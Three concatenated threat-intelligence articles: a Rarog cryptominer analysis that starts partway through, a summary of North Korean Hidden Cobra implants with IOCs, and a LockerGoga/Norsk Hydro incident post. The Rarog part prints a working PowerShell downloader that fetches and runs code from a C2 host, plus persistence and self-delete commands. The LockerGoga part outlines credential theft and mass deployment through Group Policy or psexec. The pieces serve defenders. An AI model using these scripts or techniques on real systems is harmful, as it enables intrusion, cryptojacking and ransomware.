**C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe** In the event this file is missing on the system, Rarog will enter its installation routine, which is outlined below. ### Installation Routine The installation routine begins by creating the following hidden directory path: - **C:\ProgramData\MicrosoftCorporation\Windows\System32\** It then copies itself to the directory above with a filename of ‘Isass.exe’. This newly copied file is then executed in a new process. After this takes place, the malware makes an HTTP POST request as follows: ``` POST /2.0/method/checkConnection HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.polotreck[.]xyz ``` The response of the above request is simply base64-encoded and decodes to ‘success’. The response is checked, and if the response of ‘success’ is received, the malware proceeds. The malware makes the following request to determine if the C2 wishes the malware to spawn a fake error message box: ``` POST /2.0/method/error HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 9 Host: api.polotreck[.]xyz profile=1 ``` The base64 response above decodes to the following: “1;1;System Error;The program can't start because MSVCP110.dll is missing from your computer. Try reinstalling the program to fix this problem.” The response is split by ‘;’. The first parameter is hardcoded, while the second is used to specify the type of message box to display. The following options are provided: | Parameter | MessageBox Option | |-----------|-------------------| | 0 | No error message displayed. | | 1 | A stop-sign icon appears in the message box. | | 2 | A question-mark icon appears in the message box. | | 3 | An exclamation-point icon appears in the message box. | | 4 | An icon consisting of a lowercase letter i in a circle appears in the message box. | The third parameter specifies the title of the message box, while the last parameter represents the message. Using the example previously, we are presented with the following message: Finally, Rarog will execute the following command, which will kill the current malware instance and delete it from disk. ``` cmd.exe /c taskkill /im 73222ff531ced249bf31f165777696bb20c42d2148938392335f97f5d937182a.exe /f & erase C:\Users\Administrato\Desktop\73222ff531ced249bf31f165777696bb20c42d2148938392335f97f5d937182a.exe & exit ``` ### Post-Installation Routine After the installation routine completes and a new instance of Isass.exe is spawned, this new instance of Rarog will check for the existence of the following file: - **C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat** If this file does not exist, Rarog will create the necessary hidden directory structure and make a series of HTTP POST requests. The first request will be to ‘/2.0/method/checkConnection’ to ensure the remote C2 server is alive. The second request is to the following: ``` POST /4.0/method/installSuccess HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 9 Host: api.polotreck[.]xyz buildID=5.1&hwid={1efdb526-2d21-11e8-a30c-8c8590105ceb}&profile=1&os=Microsoft Windows 7 Ultimate&platform=x86&processor=Intel(R) Core(TM) i7-7700HQ CPU @ 2.80 GHz&videocard=VMware SVGA 3D ``` The response provided by the C2 server is the stored identifier of the victim within the C2 database. This number is stored in the ‘driver.dat’ file. The following registry key is created to ensure Rarog persists across reboots: ``` HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows_Antimalware_Host_Syst - C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe ``` The following hidden directory is created, and the following three files are written to this location: - **C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1** - **C:\ProgramData\WindowsAppCertification\cert.cmd** - **C:\ProgramData\WindowsAppCertification\checker.vbs** The contents of WindowHelperStorageHostSystemThread.ps1 is as follows: ```powershell $path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\' $fpath = $path + 'Isass.exe' $furl = 'http://api.polotreck[.]xyz/2.0/method/update' $isfile = Test-Path $fpath if($isfile -eq 'True') {} else{ New-Item -ItemType directory -Path $path $WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile($furl,$fpath) Start-Process -FilePath $fpath } ``` The contents of cert.cmd is as follows: ```batch @echo off powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1 ``` The contents of checker.vbs is as follows: ```vbscript Set WshShell = CreateObject("WScript.Shell") WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0 ``` The following command is executed to create a Scheduled Task to run the checker.vbs script periodically: ``` schtasks.exe /Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F ``` The following command is executed to create a Scheduled Task to run Isass.exe periodically: ``` schtasks.exe /Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F ``` Additionally, the following command is executed to generate a shortcut link in the victim’s startup folder: ``` cmd.exe /c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs ``` These various registry modifications, file modifications, and commands executed provide multiple ways for Rarog to persist on the system both across reboots, as well as in instances where the malware dies or is forcibly closed. Rarog then makes the following POST request to ensure the ID exists on the remote C2 server: ``` POST /4.0/method/check HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 6 Host: api.polotreck[.]xyz id=250 ``` Again, Rarog looks for a response of 'success'. Rarog continues to make the following POST request: ``` POST /4.0/method/threads HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 0 Host: api.polotreck[.]xyz ``` The decoded response by the C2 server is ‘2;1;1;1;2;’. This data is split via ‘;’ and the values are used to indicate whether certain Rarog features are enabled or not. The value of ‘1’ represents ‘On’, while anything else represents ‘Off’. | Position | Name | Description | |----------|--------------|-------------| | 0 | USB | Searches the machine for removable drives. Copies Rarog to the removable drive with the name of 'autorun.exe'. Also creates an 'autorun.inf' file in the same directory, which will execute 'autorun.exe' when loaded. | | 1 | Helpers | Creates the hidden 'C:\ProgramData\MicrosoftCorporation\Windows\Helpers\' directory, and copies Isass.exe to 'SecurityHeaIthService.exe', 'SystemldleProcess.exe', and 'winIogon.exe' in this directory. | | 2 | Mining | Makes a POST request to '/2.0/method/get' to retrieve a URL for a mining executable. This file is stored in the 'C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\' directory. | | 3 | Miners | Makes a POST request to '/4.0/method/modules'. This provides a list of DLLs that are placed in the 'C:\ProgramData\MicrosoftCorporation\Windows\Modules\' folder. These DLLs are then loaded by Rarog. The DLLs in question are expected to have an export function named 'Instance'. | | 4 | Task Manager | This does not appear to be used by the malware. | When the ‘Mining Status’ option is enabled, and a miner is successfully downloaded from a remote server, Rarog will make the following request to the C2 server: ``` POST /2.0/method/config HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 6 Host: api.polotreck[.]xyz id=250 ``` The response decodes to the following: ``` o xmr.pool.minergate[.]com:45560 -u more2set@protonmail[.]com -p x -k -t {THREADS} ``` These parameters will be supplied to the mining program upon execution. Prior to running the miner, Rarog will check the running processes on the system for the following strings. Should they be encountered, the processes will be killed, and the executable will be deleted from the system. - minergate - stratum - cryptonight - monerohash - nicehash - dwarfpool - suprnova - nanopool - xmrpool These strings represent common strings associated with mining pools used by individuals when mining various cryptocurrencies. Rarog will make the following request to determine how much of a percentage of the victim’s CPU to use for mining: ``` POST /4.0/method/cores HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 6 Host: api.polotreck[.]xyz id=250 ``` The response decodes to a value of ‘50’. Rarog continues to make a request to ‘/4.0/method/blacklist’ to determine what processes should be blacklisted. The server in question did not have a configured blacklist, but an example of what may be returned is shown below: ``` dota2.exe;csgo.exe;WorldOfTanks.exe;TslGame.exe;gta5.exe;photoshop.exe;vegas_pro.exe;premier.exe;Prey.exe;Overwatch.exe;MK10.exe ``` This list represents common resource-intensive applications, such as games, that Rarog will continually monitor for. In the event such a program is running in the foreground, Rarog will suspend mining operations. The malware then makes the following request to retrieve the amount of time that Rarog will sleep before mining on the target victim: ``` POST /2.0/method/delay HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 6 Host: api.polotreck[.]xyz id=250 ``` Prior to continuing, Rarog will check the running processes on the system for the following common security applications, and will not proceed if found: - NetMonitor - Taskmgr.exe - Process Killer - KillProcess - System Explorer - AnVir - Process Hacker Rarog takes the previously collected CPU usage percentage and applies it against the number of CPUs found on the system. As an example, if a system had four CPU cores, and the setting was at 50%, Rarog could configure the miner to use 2 threads (0.5 x 4). The following mining command is executed by Rarog: ``` C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\xmrig32.exe -o xmr.pool.minergate[.]com:45560 -u more2set@protonmail[.]com -p x -k -t 1 ``` ## Botnet Functionality Rarog will periodically make HTTP POST requests to the following: ``` POST /2.0/method/setOnline HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0 Content-Length: 16 Host: api.polotreck[.]xyz id=250&build=5.1 ``` This particular URI has the ability to provide additional tasks for Rarog to perform. The following list of supported commands are included: | Command | Description | |--------------|-------------| | install | Download and execute specified file | | open_url | Open the specified URL in browser | | ddos | Perform DDoS operations against specified target | | update | Update Rarog Trojan from specified URL | | restart_bot | Restart Rarog Trojan | | delete_bot | Delete Rarog Trojan | ### SHA256 Hashes For a full list of SHA256 hashes and their first encountered timestamp, please refer to the following file. ### C2 Servers For a full list of C2 servers and their first encountered timestamp, please refer to the following file. ### File and Folder Artifacts - **C:\ProgramData\MicrosoftCorporation\Windows\System32\** - **C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe** - **C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe** - **C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\** - **C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat** - **C:\ProgramData\WindowsAppCertification\** - **C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1** - **C:\ProgramData\WindowsAppCertification\cert.cmd** - **C:\ProgramData\WindowsAppCertification\checker.vbs** - **C:\ProgramData\MicrosoftCorporation\Windows\Helpers\** - **C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe** - **C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe** - **C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe** - **C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\** - **C:\ProgramData\MicrosoftCorporation\Windows\Modules** ### Registry Artifacts - **HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows_Antimalware_Host_Syst**
# DPRK Hidden Cobra Update: North Korean Malicious Cyber Activity Jim Walter North Korea (specifically the Lazarus group) has a long and storied history of destructive cyber-attacks. Some notable examples are the 2013 “Dark Seoul” attacks, the 2014 attack on Sony Pictures, a series of SWIFT-targeted campaigns in 2015-2016, and more recently their foray into commercial cybercrime operations with Trickbot and Anchor. The US-CERT recently released a new set of Malware Analysis Reports (MARs) covering newly uncovered/updated malware/implants attributed to North Korea. More specifically, these are tools attributed to the Lazarus Group / Hidden Cobra. These updates provide a sizeable glimpse into the ever-expanding DPRK toolset. As we have seen in the past, the complexity and sophistication of these tools varies widely. Most of the families covered in this update are meant to function as RATs or Cobalt-Strike-like (beacon) tools meant to enable persistence and manipulation of infected hosts. ## BISTROMATH Full Featured RAT (Remote Access Trojan) payloads and associated CAgent11 implant builder/controller. This implant is used for standard system management, control, and recon. Initial infection is carried out via a malicious executable. An embedded bitmap image (contained in the trojan) is decoded into shellcode upon execution, thus loading the implant. Network communications are encrypted via XOR. The analyzed BISTROMATH samples, along with the other families, all attempt to evade analysis via common sandboxes (VIRTUALBOX, QEMU, VMware) via multiple artifact checks (presence of specific devices, registry entries, processes, files). Core functionality includes: - File and Process manipulation - File/Data upload/exfiltration - Timestamp modification/masquerading - Service start/stop - CMD shell access/use - Screenshot Capture - Microphone Capture - Webcam Control - Keylogging - Browser hijacking/form grabbing - Exfiltration of cached credentials - Self-management (update/uninstall) ## HOPLIGHT Proxy payload to obfuscate and/or re-route traffic between infected hosts and C2. Traffic is encrypted over SSL, and the individual payloads are capable of generating fake SSL Certificates. Analyzed samples are Themida packed. One of the examples (SHA256: d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39) provided by CISA contained a public SSL certificate and encrypted payload. ## SLICKSHOES SLICKSHOES is typically utilized as a loader/Dropper. The malware writes itself to “C:\Windows\Webtaskenc.exe”. Separate processes are responsible for the manipulation and execution of the dropped executable. SLICKSHOES is a full beacon-style implant (similar to Cobalt Strike). It makes use of bespoke encoding methods and is capable of RAT-like functionality. Functionality includes: - File and Process manipulation - System recon and exfiltration - Input capture - Command/process execution and manipulation SLICKSHOES communicates to a hardcoded C2 address (188.165.37.168) on TCP port 80. Communication occurs in 60-second intervals. ## CROWDEDFLOUNDER CROWDEDFLOUNDER functions as a memory-resident RAT (32-bit and Themida packed). The malware accepts arguments at runtime and can be installed as a service. CROWDEDFLOUNDER implants can perform full two-way comms with C2; however, in context, the primary function appears to be a proxy for inbound connections from the C2. Upon execution, the malware will manipulate local firewall settings to allow for the flow of its traffic. C2 traffic and data transfers are encrypted via rotating XOR. Functionality includes: - File and Process manipulation - System recon and exfiltration - Input capture - Command/process execution and manipulation ## HOTCROISSANT HOTCROISSANT is a full beacon-style (Cobalt Strike style) implant with RAT-like functionality. Network traffic is encoded via XOR. C2 communications are limited to a hard-coded IP (94.177.123.138:8088). Upon infection, victim information is transferred to the C2. After this point, the malware listens and responds to commands from the C2. ## ARTFULPIE ARTFULPIE is responsible for retrieval and injection of a DLL-based payload. The malware contains a hard-coded URL from which to download the additional code (193.56.28.103). ## BUFFETLINE BUFFETLINE is a full, beacon-style implant with RAT-like functionality. Features include: - File and Process manipulation - System recon and exfiltration - CLI status manipulation - Lateral targeting & enumeration - Command/process execution and manipulation Analyzed samples utilize a combination of RC4 encoding and PolarSSL (auth) to obfuscate network communications. Once authenticated to the C2, the trojan will send a collection of victim information and then await further interaction. Data transferred includes: - Victim “ID” - Implant Version - System directory location - Hardware details (network adapters, CPU revision) - OS Version / Software environment data - Computer Name - Victim IP Address ## Conclusion Adversarial toolsets are constantly evolving. The upper tier of sophisticated, or state-backed threats, have rapid and agile development/release cycles, mirroring the world of legitimate software development. Staying on top of these trends is a critical piece of protecting our environments against these threats. A powerful and modern security platform (e.g., SentinelOne Singularity) is required to tackle these evolving threats from both static and behavioral angles. ## IOCs ### HOPLIGHT - SHA-256: 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 - SHA-256: 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 - SHA-256: 084b21bc32ee19af98f85aee8204a148032ce7eabef668481b919195dd62b319 - SHA-256: 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d - SHA-256: 1a01b8a4c505db70f9e199337ce7f497b3dd42f25ad06487e29385580bca3676 - SHA-256: 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 - SHA-256: 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 - SHA-256: 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 - SHA-256: 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 - SHA-256: 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 - SHA-256: 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 - SHA-256: 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a - SHA-256: 8a1d57ee05d29a730864299376b830a7e127f089e500e148d96d0868b7c5b520 - SHA-256: b05aae59b3c1d024b19c88448811debef1eada2f51761a5c41e70da3db7615a9 - SHA-256: b9a26a569257fbe02c10d3735587f10ee58e4281dba43474dbdef4ace8ea7101 - SHA-256: c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 - SHA-256: d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 - SHA-256: ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d - SHA-256: f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 - SHA-256: fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 ### IP Addresses - 112.175.92.57 - 113.114.117.122 - 117.239.241.2 - 119.18.230.253 - 128.200.115.228 - 137.139.135.151 - 14.140.116.172 - 181.39.135.126 - 186.169.2.237 - 195.158.234.60 - 197.211.212.59 - 21.252.107.198 - 210.137.6.37 - 217.117.4.110 - 218.255.24.226 - 221.138.17.152 - 26.165.218.44 - 47.206.4.145 - 70.224.36.194 - 81.94.192.10 - 81.94.192.147 - 84.49.242.125 - 97.90.44.200 ### ARTFULPIE - SHA-256: 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c - 193.56.28.103 ### HOTCROISSANT - SHA-256: 8ee7da59f68c691c9eca1ac70ff03155ed07808c7a66dee49886b51a59e00085 - 94.177.123.138 ### CROWDEDFLOUNDER - SHA-256: a2a77cefd2faa17e18843d74a8ad155a061a13da9bd548ded6437ef855c14442 ### SLICKSHOES - SHA-256: fdb87add07d3459c43cfa88744656f6c00effa6b7ec92cb7c8b911d233aeb4ac - 188.165.37.168 ### BISTROMATH - SHA-256: 04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30 - SHA-256: 1ea6b3e99bbb67719c56ad07f5a12501855068a4a866f92db8dcdefaffa48a39 - SHA-256: 618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6 - SHA-256: 738ba44188a93de6b5ca7e0bf0a77f66f677a0dda2b2e9ef4b91b1c8257da790 - 159.100.250.231 ### BUFFETLINE - SHA-256: 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 - 107.6.12.135 - 210.202.40.35 ## MITRE ATT&CK - Lazarus Group – G0032 - Commonly Used Port – T1043 - Connection Proxy – T1090 - Credential Dumping – T1003 - Custom Cryptographic Protocol – T1024 - Data Encoding – T1132 - Data from Local System – T1005 - Data Staged – T1074 - Exfiltration Over Alternative Protocol – T1048 - Exfiltration Over Command and Control Channel – T1041 - File and Directory Discovery – T1083 - Input Capture – T1056 - New Service – T1050 - Obfuscated Files or Information – T1027 - Process Discovery – T1057 - Process Injection – T1055 - Query Registry – T1012 - Registry Run Keys / Startup Folder – T1060 - Remote File Copy – T1105 - Scripting – T1064 - Spearphishing Attachment – T1193 - System Information Discovery – T1082 - System Network Configuration Discovery – T1016 - System Owner/User Discovery – T1033 - System Time Discovery – T1124 - Uncommonly Used Port – T1065 - User Execution – T1204 - Software: HOPLIGHT – S0376
# How Lockergoga Took Down Hydro — Ransomware Used in Targeted Attacks Aimed at Big Business This week Norsk Hydro, a large multinational manufacturer with 35,000 staff and over 100 years of history, had the nightmare scenario of a worldwide apparent ransom attempt — their systems began to malfunction, and attackers had placed the following ransom note on their business and some production systems across the world: Each impacted system had four key elements: - They all ran Microsoft Windows. - Files, including some system files, had been encrypted. - The network interface on every system had been disabled. - The local user accounts on every system had their password changed. From what I can gather, they have an existing security team and controls, and one of the things you haven’t seen this time is people online highlighting a ton of obvious security flaws with their systems — so what happened? “Essentially, there are cascading failures in the technology and security industry to protect customers.” ## The Event The timeline is known as so: - Around midnight (UTC) on Tuesday 19th March, security events were detected in Americas locations of Hydro. - In the early hours of the morning, the attack began. - By 5am (UTC) Hydro had opted to disconnect their worldwide network (WAN). - Over a month later, the company is still attempting to recover from the attack, and most of its 160 manufacturing locations are still operating in manual (non-IT driven) operations. ### Why Norsk Hydro ASA as a Target? I do not know, nor care to speculate. I can say for sure they were specifically targeted, as each LockerGoga payload contains a unique four digital reference number and information unique to the target. As business began on Tuesday 19th March 2019, Hydro had no website, no network and no self-managed IT. This is an incredibly difficult situation for a manufacturing company. The CEO had started the job the day before. Hydro posted notices at their 40 offices and manufacturing facilities across the world asking staff to disconnect their devices from local networks, and the recovery effort began. They informed stock markets they were moving to ‘manual production’, which means they would operate factories without modern IT. Each local factory manager was tasked with maintaining customer orders — for example, some operated from pre-printed lists of orders. For communication, Norsk Hydro ASA uses Office365, which was completely unimpacted — so staff could still communicate with each other, the press, and customers using mobile phones and tablets. Had Hydro not already moved communications to a managed cloud service, the situation would have been more grave. For communication with the outside world, they used their Facebook account and redirected hydro.com to an Azure temporary website. ## Incident Representation Hydro started the best incident representation response plan I’ve ever seen — they had a temporary website up, they told the press, they told their staff, they apparently didn’t hide any details — they even had daily webcasts with the most senior staff talking through what was happening and answering questions. On the 2nd day, they even took questions from webcast watchers. In contrast to some other incidents, their stock price actually went up — despite a difficult trading period for the past 2 years involving some major business setbacks, they have actually gained in value. ## Incident Response Hydro’s website says they have flown in staff from Microsoft and unnamed companies to help them recover. They have also engaged with national cybercrime bodies, industry groups, and police authorities. The incident is now a police investigation. Their CFO says they have backups of data which they are attempting to restore, and they have not paid a ransom. They say it is unknown how long recovery will take, although in an interview with a Norwegian news organization, the CIO says full recovery will take months. ## What Went Wrong? Several weeks ago, I highlighted on Twitter that despite a high-profile attack on Altran in January (34,000 staff members) using LockerGoga, a vast majority of endpoint security anti-malware products were failing to detect it. I highlighted this because @malwrhunterteam on Twitter sent me a message saying ‘look at this and the poor detection’. As you can see above, the detection rate was 0 out of 67 anti-virus engines. Now, before vendors get annoyed, I am well aware that VirusTotal results don’t tell the full story — however, having zero detection from any engine is an extremely bad sign. I actually detonated the ransomware myself on several real-world endpoints (in isolated fashion) and I couldn’t find an endpoint security tool which actually triggered a detection (although Cisco’s ThreatGrid sandbox technology did classify it as Generic Ransomware). After the Altran attack, which downed systems at a 34,000 employee company, only a handful of dialogue happened in the industry — I can only find one news article which actually mentions LockerGoga, for example, and little to no technical detail. Essentially, Norsk Hydro’s anti-malware solution did not have detection for the threat because not all the industry players were paying attention. I’m not saying that’s how the industry should work, by the way, and I know it sounds self-aggrandizing — but I’m trying to make the point that maybe, as an industry, we’re really good at hyping threats in the media which are not practical in the real world and not great at looking at all the real-world, actual attack data. While we may be sharing Indicators of Compromise (IoCs), a long list of meaningless hashes aren’t enough to protect people. The cybersecurity industry and partners missed a trick here, as we knew a major company had been attacked in a meaningful way, but it wasn’t followed up. Additionally, the digital certificate being used to sign the ransomware was used to sign other malicious code — in fact, it had only been used to sign malicious code — and had been issued to a company with £1 of assets which wasn’t even a trading company. Upon being informed of this, the Certificate Authority failed to revoke the certificate in a timely manner — a continuing issue with the same Certificate Authority, which is trusted by all Windows certificate stores. To compound the issue, even when revoked, a vast majority of security tools fail to do anything, as they do not retrieve the CRL and check the serial number for revocation. All security and technology should immediately block or flag code signed with specifically distrusted certificates. Essentially, there are cascading failures in the technology and security industry to protect customers. Another element — some LockerGoga deployments stop endpoint security products (and backup products) before further deployment. ## Lateral Movement LockerGoga does not have any code to self-spread, meaning it cannot self-replicate around a network — unlike other destructive code such as WannaCry and NotPetya. This may actually be intentional — because it doesn’t use C2 (‘Command and Control’) servers and DNS traffic, it means it is less likely to be picked up by network detection and endpoint classification tools, too. So how did they plant LockerGoga? I speculated above it was probably using Active Directory — something like scheduled tasks or services. The initial assessment from NorCERT appears to back this up, although the investigation is still ongoing. In order to pull that off, you need remote access — it is not known how the attackers got access to Norsk Hydro’s network at this stage. I would actually call upon Hydro to do something very unusual in incident response and open source release some of the information in this area later, as I strongly believe it can help protect every company — including their customers. Once inside their network, they must have had Domain Administrator rights to execute the attack. Usually in companies, it is extremely easy to get this access, despite the industry hard selling a range of privileged access management tools, by simply: - Fishing logins out of memory using Mimikatz. - Taking passwords from Active Directory Group Policy Preferences — they’re often right there in the XML files. It’s the go-to, bread and butter of ‘Red Teams’. - Pass The Hash attacks and surf around the entire network using the same local administrator passwords because almost nobody deploys Microsoft. However it happened, they got to domain administrator. Like I say, normally this isn’t problematic as almost all companies make the same simple Active Directory configuration errors and fail to prioritize remediation. ## Got Root? Once you’re an Active Directory administrator, if you are an attacker you can place the executable somewhere where every system in an organization can reach — normally, organizations universally firewall accept Active Directory traffic internally. Bingo, you have the keys to the kingdom — the only thing stopping you now is security controls around endpoint malware, and as we already established those won’t detect LockerGoga at the time of the attack. So you can place it on a Domain Controller in the NETLOGON share under Sysvol, which is replicated to every site with a Domain Controller. Then you can use Group Policy such as scheduled task creation or service creation to automatically start the LockerGoga executable. Immediately, every single laptop, desktop, and server connected to Active Directory will trigger the malicious software. Another way to do it is, of course, psexec * – psexec handily supports wildcards. Many people will talk about ‘air gapping’ Industrial Control Systems (ICS), however many organizations — almost every organization I’ve met, in fact — ends up connecting some elements to Active Directory for benefits such as easy licensing, centralized account control, etc. This leads to a situation where production systems — I’m not talking the technologist use of production, I mean the manufacturing industry term of systems which do something critical on the coalface — are linked to a central system which can be misused. I should be clear here that I’m not saying ICS systems shouldn’t be joined to Active Directory because risk assessment-wise unless you’re an extremely high-profile target the benefits may outweigh the risks. I am saying they should probably be joined to an entirely separate Active Directory forest, and administrator access should be incredibly tightly controlled. ## The Impact LockerGoga does a few things, some unique: - It ends up using every CPU core and thread during encryption and is very, very fast. This is because it spawns hundreds of executables for encryption. On an average system, within a few minutes, it is toast. - Additionally, some technical blogs on LockerGoga mention a list of file types that are encrypted which only includes things like Office files — I can say first hand that it also encrypts system files such as DLL files across the C: drive. Since it is deployed as administrator level using Active Directory, it has full control of all files. - It depends on the version being run (on VirusTotal you can see different LockerGoga executables with different features) but newer versions use netsh.exe to disable all network cards after encryption is done. - It then changes every local administrator account password. - It then logs you off, using logoff.exe. ## Recovery On laptops and desktops, what you’re left with is the ability to log back in using domain user accounts (it can’t impact Active Directory accounts) on a cached basis, but your users are off the network, as an administrator you cannot reach the PC remotely to fix it, and all the user can do is read the ransom note. They cannot use email, they cannot read a broadcast from the company on their PC, they cannot work likely as their files are encrypted. You cannot log in at the physical console to recover the system as you do not know the local administrator details anymore. On servers, you have service issues, as changing the local administrator passwords can impact system services using local accounts (such as Microsoft SQL, Sophos, etc.). ## Learning Opportunities Here’s the top ten things I think we can take away from this: ### Governments and Industry There is a serious lack of open information sharing after ransomware incidents which involve unusual code. Right now we’re super protected against, say, WannaCry — but after Altran, a lack of transparency and openness led to the same issue elsewhere. This will happen again with other threats. In my opinion, it is in national and international interests for governments to be informed of technical details of all major business incidents around malicious code causing outages (e.g., wipers, ransomware) and that information should be shared with security vendors and other governments. I know many organizations won’t want to provide this information so governments or regulators might need levers to pull to compel disclosure. ### Companies Organizations should look at how Hydro disclosed and dealt with the issue so far in the public arena. It looks like it may be a textbook example of how incident response should be done, with transparency and openness. Not only did the public and media perception go well, but the business end went well too — people didn’t sell off shares because they felt genuinely informed and that Hydro had a dire situation under control. ### Security Industry I feel the industry could do a better job at advising what benefits and weak spots of their products have in terms of detection, so customers can make informed choices about where they may need to introduce additional controls and investment. The cybersecurity industry is currently going through a hype cycle where some vendors are simply overselling their products — including internally — so you can end up with customers like Hydro which likely had a reasonable security stack, but got wiped out anyway. Hydro aren’t alone here in their journey. I’ve seen vendors talking about Artificial Intelligence made malware — where AI creates the malware itself — which isn’t even a real thing. The reality here is we had an in-the-wild, classic ransomware attack around for months and there wasn’t anywhere approaching good detection. Stop talking about blockchain and start detecting. ### Detection Inside Organizations - Your Security Incident Event Management (SIEM) tool should have alerts to detect excessive addition of new scheduled tasks and/or services. This is not a default alert I’ve seen in any vendor, and I don’t think it’s a CIS control either. - If you don’t have a SIEM tool, deploy Azure Sentinel. It’s currently free, no infrastructure, Microsoft managed, and comes with a bucket load of free use cases (it ships with over a thousand detections) out the box. You can onboard your entire organization faster than you can set up a Splunk Heavy Forwarder. - Detect things like Mimikatz and Pass The Hash attacks. Azure Sentinel does this out of the box, no config. If you get your alerts configured right and without false positives, then jump on them as soon as they go off. Make it monitored 24/7 and on call. - Detect excessive usage of netsh.exe and logoff.exe. - Detect local administrator password changes, particularly on servers. - Detect your endpoint security solutions being stopped and/or disabled. - Enable ‘tamper protection’ in your security products — e.g., in Sophos Endpoint with Sophos Enterprise Console you need to manually enable it, otherwise attackers can easily just stop Sophos. - Make sure endpoint security products are universally deployed (e.g., via enforced Group Policy deployment), do not allow IT staff to disable them, and do not allow policies to be weakened outside change management (e.g., too broad whitelists). - Backup everything. - Have read-only backups, too, if you use disk-to-disk. - Have a very heavily defended backup infrastructure. Only the people who access a backup server should have access. Take Domain Admins out of the Local Administrator group; make it truly secure. - Keep an eye on infections of Trickbot and Emotet via Office macros. - Keep an eye on infections of Empire Powershell and Cobalt Strike on endpoints and servers. - Use a service to monitor your external IP ranges for open RDP servers and other misconfigurations. - Do not pay the ransom.
